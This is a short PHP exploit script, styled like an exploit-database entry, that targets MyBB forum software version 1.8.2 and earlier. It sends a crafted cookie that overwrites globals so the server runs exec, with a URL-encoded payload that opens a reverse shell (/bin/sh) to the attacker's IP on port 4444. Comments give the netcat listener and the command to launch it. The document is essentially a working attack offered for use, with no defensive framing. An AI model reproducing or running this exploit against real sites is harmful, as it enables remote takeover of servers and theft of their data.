<?php // Exploit Title: MyBB <= 1.8.2 Reverse Shell Exploit // Date: 15/12/2015 // Exploit Author: ssbostan // Vendor Homepage: http://www.mybb.com/ // Software Link: http://resources.mybb.com/downloads/mybb_1802.zip // Version: <= 1.8.2 // Tested on: MyBB 1.8.2 $target="http://localhost/mybb1802/index.php"; $yourip="ipaddress"; $ch=curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_COOKIE, "GLOBALS=1; shutdown_functions[0][function]=exec; shutdown_functions[0][arguments][]=php%20%2Dr%20%27%24sock%3Dfsockopen%28%22$yourip%22%2C%204444%29%3Bexec%28%22%2Fbin%2Fsh%20%2Di%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27;"); curl_setopt($ch, CURLOPT_URL, $target); curl_exec($ch); curl_close($ch); // nc -l 4444 // php mybb-1802-core-exploit.php ?>